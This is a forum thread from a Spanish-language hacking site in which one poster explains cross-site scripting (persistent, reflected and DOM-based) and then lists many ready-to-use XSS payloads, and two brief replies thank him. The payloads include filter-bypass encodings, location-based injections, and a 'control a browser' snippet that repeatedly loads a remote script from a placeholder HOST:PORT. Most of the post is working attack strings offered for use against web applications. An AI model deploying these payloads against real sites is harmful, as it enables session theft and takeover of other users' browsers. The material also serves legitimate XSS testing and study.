Underc0de

Foros Generales => International forum => Mensaje iniciado por: 'or '1'=1 en Febrero 14, 2017, 05:43:14 AM

Título: Pentest bunker!
Publicado por: 'or '1'=1 en Febrero 14, 2017, 05:43:14 AM
Hey everyone ! - today like all days i was playing with gist -> https://gist.github.com/ -- we can found a lot of good stuff ... and fresh ! - u need to make the right contacts and see the RSS FEEDS  8) (If u are interested pm-me  ::) -







Título: Re:Pentest bunker!
Publicado por: 'or '1'=1 en Febrero 14, 2017, 07:07:00 AM
Exploitation







Cross-site Scripting






What is XSS?

Cross-site scripting (XSS) is a code injection attack that allows an attacker to execute malicious JavaScript in another user's browser. The attacker does not directly target his victim. Instead, he exploits a vulnerability in a website that the victim visits, in order to get the website to deliver the malicious JavaScript for him. To the victim's browser, the malicious JavaScript appears to be a legitimate part of the website, and the website has thus acted as an unintentional accomplice to the attacker.

How the malicious JavaScript is injected

The only way for the attacker to run his malicious JavaScript in the victim's browser is to inject it into one of the pages that the victim downloads from the website. This can happen if the website directly includes user input in its pages, because the attacker can then insert a string that will be treated as code by the victim's browser.

In the example below, a simple server-side script is used to display the latest comment on a website

(https://scontent-mia1-2.xx.fbcdn.net/v/t34.0-12/16780323_597325233806616_1857752975_n.png?oh=49e7fcf9ed1c1d7baed2cd4a864f54ce&oe=58A5FD8F)

The script assumes that a comment consists only of text. However, since the user input is included directly, an attacker could submit this comment: "<script>...</script>". Any user visiting the page would now receive the following response:

(https://scontent-mia1-2.xx.fbcdn.net/v/t34.0-12/16753856_597329493806190_996789939_n.png?oh=366b33f35c7f56f4e248a07299e24706&oe=58A52513)

When the user's browser loads the page, it will execute whatever JavaScript code is contained inside the <script> tags. The attacker has now succeeded with his attack.

What is malicious JavaScript?

At first, the ability to execute JavaScript in the victim's browser might not seem particularly malicious. After all, JavaScript runs in a very restricted environment that has extremely limited access to the user's files and operating system. In fact, you could open your browser's JavaScript console right now and execute any JavaScript you want, and you would be very unlikely to cause any damage to your computer.

However, the possibility of JavaScript being malicious becomes more clear when you consider the following facts:


These facts combined can cause very serious security breaches, as we will explain next.

The consequences of malicious JavaScript

Among many other things, the ability to execute arbitrary JavaScript in another user's browser allows an attacker to perform the following types of attacks:


Although these attacks differ significantly, they all have one crucial similarity: because the attacker has injected code into a page served by the website, the malicious JavaScript is executed in the context of that website. This means that it is treated like any other script from that website: it has access to the victim's data for that website (such as cookies) and the host name shown in the URL bar will be that of the website. For all intents and purposes, the script is considered a legitimate part of the website, allowing it to do anything that the actual website can.

This fact highlights a key issue:

If an attacker can use your website to execute arbitrary JavaScript in another user's browser, the security of your website and its users has been compromised.

To emphasize this point, some examples in this tutorial will leave out the details of a malicious script by only showing <script>...</script>. This indicates that the mere presence of a script injected by the attacker is the problem, regardless of which specific code the script actually executes.






XSS Attacks

Actors in an XSS attack

Before we describe in detail how an XSS attack works, we need to define the actors involved in an XSS attack. In general, an XSS attack involves three actors: the website, the victim, and the attacker.




An example attack scenario


In this example, we will assume that the attacker's ultimate goal is to steal the victim's cookies by exploiting vulnerability in the website. This can be done by having the victim's browser parse the following HTML code:

(https://scontent.fscl7-1.fna.fbcdn.net/v/t34.0-12/16808385_598028460402960_1700936974_n.png?oh=66581f549b4f73d73fb3e4989471b8e7&oe=58A81DFF)

This script navigates the user's browser to a different URL, triggering an HTTP request to the attacker's server. The URL includes the victim's cookies as a query parameter, which the attacker can extract from the request when it arrives to his server. Once the attacker has acquired the cookies, he can use them to impersonate the victim and launch further attacks.

From now on, the HTML code above will be referred to as the malicious string or the malicious script. It is important to note that the string itself is only malicious if it ultimately gets parsed as HTML in the victim's browser, which can only happen as the result of an XSS vulnerability in the website.

How the example attack works

The diagram below illustrates how this example attack can be performed by an attacker:

(http://excess-xss.com/persistent-xss.png)


Types of XSS

While the goal of an XSS attack is always to execute malicious JavaScript in the victim's browser, there are few fundamentally different ways of achieving that goal. XSS attacks are often divided into three types:


The previous example illustrated a persistent XSS attack. We will now describe the other two types of XSS attacks: reflected XSS and DOM-based XSS.

Reflected XSS

In a reflected XSS attack, the malicious string is part of the victim's request to the website. The website then includes this malicious string in the response sent back to the user. The diagram below illustrates this scenario:

(http://excess-xss.com/reflected-xss.png)

How can reflected XSS succeed?

At first, reflected XSS might seem harmless because it requires the victim himself to actually send a request containing a malicious string. Since nobody would willingly attack himself, there seems to be no way of actually performing the attack.

As it turns out, there are at least two common ways of causing a victim to launch a reflected XSS attack against himself:


These two methods are similar, and both can be more successful with the use of a URL shortening service, which masks the malicious string from users who might otherwise identify it.

DOM-based XSS

DOM-based XSS is a variant of both persistent and reflected XSS. In a DOM-based XSS attack, the malicious string is not actually parsed by the victim's browser until the website's legitimate JavaScript is executed. The diagram below illustrates this scenario for a reflected XSS attack:

(http://excess-xss.com/dom-based-xss.png)

What makes DOM-based XSS different

In the previous examples of persistent and reflected XSS attacks, the server inserts the malicious script into the page, which is then sent in a response to the victim. When the victim's browser receives the response, it assumes the malicious script to be part of the page's legitimate content and automatically executes it during page load as with any other script.

In the example of a DOM-based XSS attack, however, there is no malicious script inserted as part of the page; the only script that is automatically executed during page load is a legitimate part of the page. The problem is that this legitimate script directly makes use of user input in order to add HTML to the page. Because the malicious string is inserted into the page using innerHTML, it is parsed as HTML, causing the malicious script to be executed.

The difference is subtle but important:

Why DOM-based XSS matters

In the previous example, JavaScript was not necessary; the server could have generated all the HTML by itself. If the server-side code were free of vulnerabilities, the website would then be safe from XSS.

However, as web applications become more advanced, an increasing amount of HTML is generated by JavaScript on the client-side rather than by the server. Any time content needs to be changed without refreshing the entire page, the update must be performed using JavaScript. Most notably, this is the case when a page is updated after an AJAX request.

This means that XSS vulnerabilities can be present not only in your website's server-side code, but also in your website's client-side JavaScript code. Consequently, even with completely secure server-side code, the client-side code might still unsafely include user input in a DOM update after the page has loaded. If this happens, the client-side code has enabled an XSS attack through no fault of the server-side code.

DOM-based XSS invisible to the server

There is a special case of DOM-based XSS in which the malicious string is never sent to the website's server to begin with: when the malicious string is contained in a URL's fragment identifier (anything after the # character). Browsers do not send this part of the URL to servers, so the website has no way of accessing it using server-side code. The client-side code, however, has access to it and can thus cause XSS vulnerabilities by handling it unsafely.

This situation is not limited to fragment identifiers. Other user input that is invisible to the server includes new HTML5 features like LocalStorage and IndexedDB.




Playing with tools

Our weapon: Webgun (http://brutelogic.com.br/webgun/)

We can test XSS's in this site: http://brutelogic.com.br/webgun/test.php?p=XSS (http://brutelogic.com.br/webgun/test.php?p=XSS), but we need to bypass the security of the browser if we want to see any result, or of course work in blackbox ! ...

Okay it's great ! but I'll present you another friend, it's l0.cm ... weird site but it's safe , don't worry  ;), because I'm a good guy, I'll put the interesting links because I understand japanese is not ur natural language haha...

Tools
List of encodings in all Browsers (https://l0.cm/encodings/list/)
Charset String Detector  (https://l0.cm/encodings/check/)
Charset comparative table  (https://l0.cm/encodings/table/)

Testing side

And we can obtain information of interesting XSS techniques, like X-XSS Nightmare (https://l0.cm/xxn/) and moar ;)




#XSS Payload Scheme

[/list][/list][/list]extra1 <tag spacer1 extra2 spacer2 handler spacer3 = spacer4 code spacer5> extra3

#Agnostic Event Handlers

<brute contenteditable onblur=alert(1)>lose focus!

<brute onclick=alert(1)>click this!

<brute oncopy=alert(1)>copy this!

<brute oncontextmenu=alert(1)>right click this!

<brute oncut=alert(1)>copy this!

<brute ondblclick=alert(1)>double click this!

<brute ondrag=alert(1)>drag this!

<brute contenteditable onfocus=alert(1)>focus this!

<brute contenteditable oninput=alert(1)>input here!

<brute contenteditable onkeydown=alert(1)>press any key!

<brute contenteditable onkeypress=alert(1)>press any key!

<brute contenteditable onkeyup=alert(1)>press any key!

<brute onmousedown=alert(1)>click this!

<brute onmousemove=alert(1)>hover this!

<brute onmouseout=alert(1)>hover this!

<brute onmouseover=alert(1)>hover this!

<brute onmouseup=alert(1)>click this!

<brute contenteditable onpaste=alert(1)>paste here!

<brute style=font-size:500px onmouseover=alert(1)>0000


#Filter Bypass procedure
<x onxxx=1

%3Cx onxxx=1

<%78 onxxx=1

<x %6Fnxxx=1

<x o%6Exxx=1

<x on%78xx=1

<x onxxx%3D1

<X onxxx=1

<x ONxxx=1

<x OnXxx=1

<X OnXxx=1

<x onxxx=1 onxxx=1

<x/onxxx=1

<x%09onxxx=1

<x%0Aonxxx=1

<x%0Conxxx=1

<x%0Donxxx=1

<x%2Fonxxx=1

<x 1='1'onxxx=1

<x 1="1"onxxx=1

<x </onxxx=1

<x 1=">" onxxx=1

<http://onxxx%3D1/

<x%2F1=">%22OnXxx%3D1


#Probing to Find XSS

param1=1<1&param2=2<1&param3=3<1


#Location Based Payloads – Part I

<svg/onload=location='javascript:alert(1)'>

<svg/onload=location=location.hash.substr(1)>#javascript:alert(1)

<svg/onload=location='javas'%2B'cript:'%2B'ale'%2B'rt'%2Blocation.hash.substr(1)>#(1)

<svg/onload=location=/javas/.source%2B/cript:/.source%2B
/ale/.source%2B/rt/.source%2Blocation.hash.substr(1)>#(1)

<svg/onload=location=/javas/.source%2B/cript:/.source%2B/ale/.source
%2B/rt/.source%2Blocation.hash[1]%2B1%2Blocation.hash[2]>#()#


#Location Based Payloads – Part II

<svg onload=alert(tagName)>

<javascript onclick=alert(tagName)>click me!

<javascript onclick=alert(tagName%2Blocation.hash)>click me!#:alert(1)

<javascript: onclick=alert(tagName%2Blocation.hash)>click me!#alert(1)

<javascript: onclick=alert(tagName%2BinnerHTML%2Blocation.hash)>/*click me!#*/alert(1)

<javascript: onclick=location=tagName%2BinnerHTML%2Blocation.hash>/*click me!#*/alert(1)

<javascript: onclick=location=tagName%2BinnerHTML%2Blocation.hash>'click me!#'-alert(1)

<javascript: onclick=alert(tagName%2BinnerHTML%2Blocation.hash)>
'click me!</javascript:>#'-alert(1)


#Location Based Payloads – Part III

<javascript onclick=location=tagName%2binnerHTML%2blocation.hash>:/*click me!#*/alert(9)

<javascript onclick=location=tagName%2binnerHTML%2blocation.hash>:'click me!#'-alert(9)

<javascript: onclick=location=tagName%2bURL>click me!#%0Aalert(1)

<javascript:"-' onclick=location=tagName%2bURL>click me!#'-alert(1)

<j onclick=location=innerHTML%2bURL>javascript:"-'click me!</j>#'-alert(1)

<j onclick=location=innerHTML%2bURL>javascript:</j>#%0Aalert(1)

<javas onclick=location=tagName%2binnerHTML%2bURL>cript:"-'click me!</javas>#'-alert(1)

<javas onclick=location=tagName%2binnerHTML%2bURL>cript:</javas>#%0Aalert(1)

"-alert(1)<javascript:" onclick=location=tagName%2bpreviousSibling.nodeValue>click me!

"-alert(1)<javas onclick=location=tagName%2binnerHTML%2bpreviousSibling.nodeValue>cript:"click me!

<alert(1)<!– onclick=location=innerHTML%2bouterHTML>javascript:1/*click me!*/</alert(1)<!–>

<j 1="*/""-alert(1)<!– onclick=location=innerHTML%2bouterHTML>javascript:/*click me!

*/"<j"-alert(1)<!– onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me!

*/"<j 1=-alert(9)// onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me!

<j onclick=location=innerHTML>javascript%26colon;alert(1)//

<iframe id=t:alert(1) name=javascrip onload=location=name%2bid>

<svg id=?p=<svg/onload=alert(1)%2B onload=location=id>

<svg id=?p=<script/src=//3237054390/1%2B onload=location=id>

<j onclick=location=textContent>?p=%26lt;svg/onload=alert(1)>

<j%26p=<svg%2Bonload=alert(1) onclick=location%2B=outerHTML>click me!

<j onclick=location%2B=textContent>%26p=%26lt;svg/onload=alert(1)>

%26p=%26lt;svg/onload=alert(1)><j onclick=location%2B=document.body.textContent>click me!


#Location Based Payloads – Part IV

protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3

Source-Breaking Injections

"onafterscriptexecute=alert(1) 1='

"onbeforescriptexecute=alert(1) 1='


#Using XSS to Control a Browser

<svg onload=setInterval(function(){d=document;
z=d.createElement("script");z.src="//HOST:PORT";
d.body.appendChild(z)},0)>


#Multi Reflection XSS

<svg onload=write(1)>

p='onload=alert(1)><svg/1='

p='>alert(1)</script><script/1='

p=*/alert(1)</script><script>/*

p=*/alert(1)">'onload="/*<svg/1='

p=`-alert(1)">'onload="`<svg/1='

p=*/</script>'>alert(1)/*<script/1='

p=<svg/1='&q='onload=alert(1)>

p=<svg 1='&q='onload='/*&r=*/alert(1)'>

p=-alert(1)}//\

p=\&q=-alert(1)//


#XSS Without Event Handlers

<script>alert(1)</script>

<script src=javascript:alert(1)>

<iframe src=javascript:alert(1)>

<embed src=javascript:alert(1)>

<a href=javascript:alert(1)>click

<math><brute href=javascript:alert(1)>click

<isindex action=javascript:alert(1) type=submit value=click>

<form><button formaction=javascript:alert(1)>click

<form><input formaction=javascript:alert(1) type=submit value=click>

<form><input formaction=javascript:alert(1) type=image value=click>

<form><input formaction=javascript:alert(1) type=image src=http://brutelogic.com.br/webgun/img/youtube1.jpg>

<isindex formaction=javascript:alert(1) type=submit value=click>

<object data=javascript:alert(1)>

<iframe srcdoc=%26lt;svg/o%26%23x6Eload%26equals;alert%26lpar;1)%26gt;>

<svg><script xlink:href=data:,alert(1)></script>

<svg><script xlink:href=data:,alert(1) />

<math><brute xlink:href=javascript:alert(1)>click

<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 />
<animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=%26>


#Transcending Context-Based Filters

<math><!–" href=javascript:alert(1)//

" href=javascript:alert(1) <math><!–

lol video<!–"href=javascript:alert(1) style=font-size:50px;
display:block;color:transparent;
background:url('//brutelogic.com.br/webgun/img/youtube1.jpg');
background-repeat:no-repeat –><math><!–

<svg><!–'-alert(1)-'

'-alert(1)-'<svg><!–








Credits to excess-xss.md document and @tfaraine


Título: Re:Pentest bunker!
Publicado por: 79137913 en Febrero 14, 2017, 09:59:42 AM
HOLA!!!

Cool stuf bro, I really love your contributions.

GRACIAS POR LEER!!!
Título: Re:Pentest bunker!
Publicado por: HckH3x en Febrero 16, 2017, 05:20:55 AM
Awesome!, very good